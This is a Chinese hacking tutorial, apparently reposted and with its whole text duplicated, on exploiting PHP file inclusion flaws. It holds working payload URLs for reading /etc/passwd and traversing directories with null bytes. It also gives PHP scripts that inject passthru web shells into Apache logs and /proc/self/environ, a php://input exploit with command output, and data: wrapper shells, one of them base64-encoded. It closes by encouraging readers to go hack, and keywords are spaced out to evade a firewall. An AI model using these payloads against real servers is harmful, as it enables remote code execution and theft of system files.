php包含漏洞替代技術(shù)的方法與介紹 php文件包含漏洞詳解
發(fā)布日期:2022-01-29 10:14 | 文章來源:腳本之家
================
php包含漏洞替代技術(shù)
================
php開發(fā)者們犯得一個基本的錯誤是把一個不正當(dāng)?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個函數(shù)。
這個常見的錯誤導(dǎo)致了眾所周知的遠(yuǎn)程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經(jīng)開始試圖通過缺省設(shè)置來消除或限制這種漏洞的所帶來影響。
但即使是簡單的本地文件包含,也會有新的技術(shù)去利用這些漏洞來導(dǎo)致遠(yuǎn)程命令的執(zhí)行。
================
介紹php包含漏洞
================
文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/pa sswd
http://target/index.php?content=http://trojan/exec.php
這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠(yuǎn)程文件,這個遠(yuǎn)程包含文件在大多數(shù)情況下不能使用,因為php設(shè)置中的allow_url_fopen默認(rèn)是off。
當(dāng)然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠(yuǎn)程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/pa sswd%00
.../的使用允許目錄橫向風(fēng)格的操作,使你可以操作代碼中預(yù)定目錄以外的目錄的文件。
如果php設(shè)置中open_basedir為on,它將會阻止你繞過過多的目錄。
網(wǎng)站的開發(fā)者有可能也會使用一些函數(shù)來過濾掉來自用戶提交的惡意數(shù)據(jù),但并非總是如此。
空字節(jié)字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當(dāng)magic_quotes_gpc 默認(rèn)為on的時候,也可以逃過。
在http://ush.it網(wǎng)站中有一篇名為《PHP文件系統(tǒng)的攻擊媒介》提供了可能的方法來應(yīng)付空字節(jié)字符。
php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發(fā)現(xiàn)的phplist的漏洞(phplist是一款國外的Email程序),例子為
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd
==================
本地文件包含致遠(yuǎn)程代碼執(zhí)行
==================
一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術(shù)在過去的幾年中出現(xiàn)。
有一種在服務(wù)日志中去注入php代碼的技術(shù)比上面這些包含漏洞要出現(xiàn)的晚。
它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。
考慮一下這個例子,在Mac OS X的Apache/PHP默認(rèn)配置下,寫一個腳本去發(fā)送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉(zhuǎn)義。
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php p assthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
https://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id
另一種方法是包括了Apache/PHP進程的環(huán)境變量的/proc/ self/environ文件。
如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現(xiàn)在那個文件里,所以遠(yuǎn)程執(zhí)行代碼是可能的。
/proc/ self/environ必須是可讀的
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n".
"User-Agent: <?php p assthru(\$_GET['cmd']); ?>\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
=================
Php封裝包含漏洞
====================
利用php的include函數(shù)的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數(shù)據(jù)并執(zhí)行它:
漏洞代碼:
<?php
include($_GET['content']);
?>
我們的請求:
<?php
$request = "<?php p assthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1\r\n".
"Host: localhost\r\n".
"Content-type: text/html\r\n".
"Content-length: ".strlen($request)."\r\n".
"Connection: Close\r\n\r\n".
"$request \r\n\r\n";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>
得到的結(jié)果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
這個例子的前提是allow_url_include和allow_fopen_include兩個選項設(shè)置為ON,在這種情況下,標(biāo)準(zhǔn)的遠(yuǎn)程文件包含是可能的。
這個方法的優(yōu)點是它不依賴于外部儲存文件服務(wù)器。
cr0w-at.blogspot.com提到另一種技術(shù)使用"數(shù)據(jù):"封裝:
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir
或者base64編碼過的:
index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
============
總結(jié)
============
這些方法大多都不是新的,并沒有表現(xiàn)出缺陷或在PHP語言本身的局限性。這些問題通??梢酝ㄟ^強大的輸入驗證,常識編碼,和一些預(yù)防更嚴(yán)格的服務(wù)器配置。
然而,許多問題并不是很快能消失的(SQL注入等),所以開心的去黑吧。
*本文中闡述的漏洞不會存在于Silic Group的網(wǎng)站
*如果你足夠細(xì)心,你會發(fā)現(xiàn)文中很多關(guān)鍵字,例如敏感路徑、敏感函數(shù),都被加了個空格
*是因為服務(wù)器的防火墻會攔截此類關(guān)鍵字,檢測到關(guān)鍵字時服務(wù)器就會顯示501/503錯誤
*這就是BlackBap.Org所在服務(wù)器攔截的原因
*本站管理員注:-)
作者:Anonymous
php包含漏洞替代技術(shù)
================
php開發(fā)者們犯得一個基本的錯誤是把一個不正當(dāng)?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個函數(shù)。
這個常見的錯誤導(dǎo)致了眾所周知的遠(yuǎn)程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經(jīng)開始試圖通過缺省設(shè)置來消除或限制這種漏洞的所帶來影響。
但即使是簡單的本地文件包含,也會有新的技術(shù)去利用這些漏洞來導(dǎo)致遠(yuǎn)程命令的執(zhí)行。
================
介紹php包含漏洞
================
文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/pa sswd
http://target/index.php?content=http://trojan/exec.php
這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠(yuǎn)程文件,這個遠(yuǎn)程包含文件在大多數(shù)情況下不能使用,因為php設(shè)置中的allow_url_fopen默認(rèn)是off。
當(dāng)然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠(yuǎn)程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/pa sswd%00
.../的使用允許目錄橫向風(fēng)格的操作,使你可以操作代碼中預(yù)定目錄以外的目錄的文件。
如果php設(shè)置中open_basedir為on,它將會阻止你繞過過多的目錄。
網(wǎng)站的開發(fā)者有可能也會使用一些函數(shù)來過濾掉來自用戶提交的惡意數(shù)據(jù),但并非總是如此。
空字節(jié)字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當(dāng)magic_quotes_gpc 默認(rèn)為on的時候,也可以逃過。
在http://ush.it網(wǎng)站中有一篇名為《PHP文件系統(tǒng)的攻擊媒介》提供了可能的方法來應(yīng)付空字節(jié)字符。
php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發(fā)現(xiàn)的phplist的漏洞(phplist是一款國外的Email程序),例子為
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd
==================
本地文件包含致遠(yuǎn)程代碼執(zhí)行
==================
一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術(shù)在過去的幾年中出現(xiàn)。
有一種在服務(wù)日志中去注入php代碼的技術(shù)比上面這些包含漏洞要出現(xiàn)的晚。
它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。
考慮一下這個例子,在Mac OS X的Apache/PHP默認(rèn)配置下,寫一個腳本去發(fā)送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉(zhuǎn)義。
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php p assthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
https://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id
另一種方法是包括了Apache/PHP進程的環(huán)境變量的/proc/ self/environ文件。
如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現(xiàn)在那個文件里,所以遠(yuǎn)程執(zhí)行代碼是可能的。
/proc/ self/environ必須是可讀的
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n".
"User-Agent: <?php p assthru(\$_GET['cmd']); ?>\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
=================
Php封裝包含漏洞
====================
利用php的include函數(shù)的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數(shù)據(jù)并執(zhí)行它:
漏洞代碼:
<?php
include($_GET['content']);
?>
我們的請求:
<?php
$request = "<?php p assthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1\r\n".
"Host: localhost\r\n".
"Content-type: text/html\r\n".
"Content-length: ".strlen($request)."\r\n".
"Connection: Close\r\n\r\n".
"$request \r\n\r\n";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>
得到的結(jié)果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
這個例子的前提是allow_url_include和allow_fopen_include兩個選項設(shè)置為ON,在這種情況下,標(biāo)準(zhǔn)的遠(yuǎn)程文件包含是可能的。
這個方法的優(yōu)點是它不依賴于外部儲存文件服務(wù)器。
cr0w-at.blogspot.com提到另一種技術(shù)使用"數(shù)據(jù):"封裝:
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir
或者base64編碼過的:
index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
============
總結(jié)
============
這些方法大多都不是新的,并沒有表現(xiàn)出缺陷或在PHP語言本身的局限性。這些問題通??梢酝ㄟ^強大的輸入驗證,常識編碼,和一些預(yù)防更嚴(yán)格的服務(wù)器配置。
然而,許多問題并不是很快能消失的(SQL注入等),所以開心的去黑吧。
*本文中闡述的漏洞不會存在于Silic Group的網(wǎng)站
*如果你足夠細(xì)心,你會發(fā)現(xiàn)文中很多關(guān)鍵字,例如敏感路徑、敏感函數(shù),都被加了個空格
*是因為服務(wù)器的防火墻會攔截此類關(guān)鍵字,檢測到關(guān)鍵字時服務(wù)器就會顯示501/503錯誤
*這就是BlackBap.Org所在服務(wù)器攔截的原因
*本站管理員注:-)
作者:Anonymous
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
下一篇: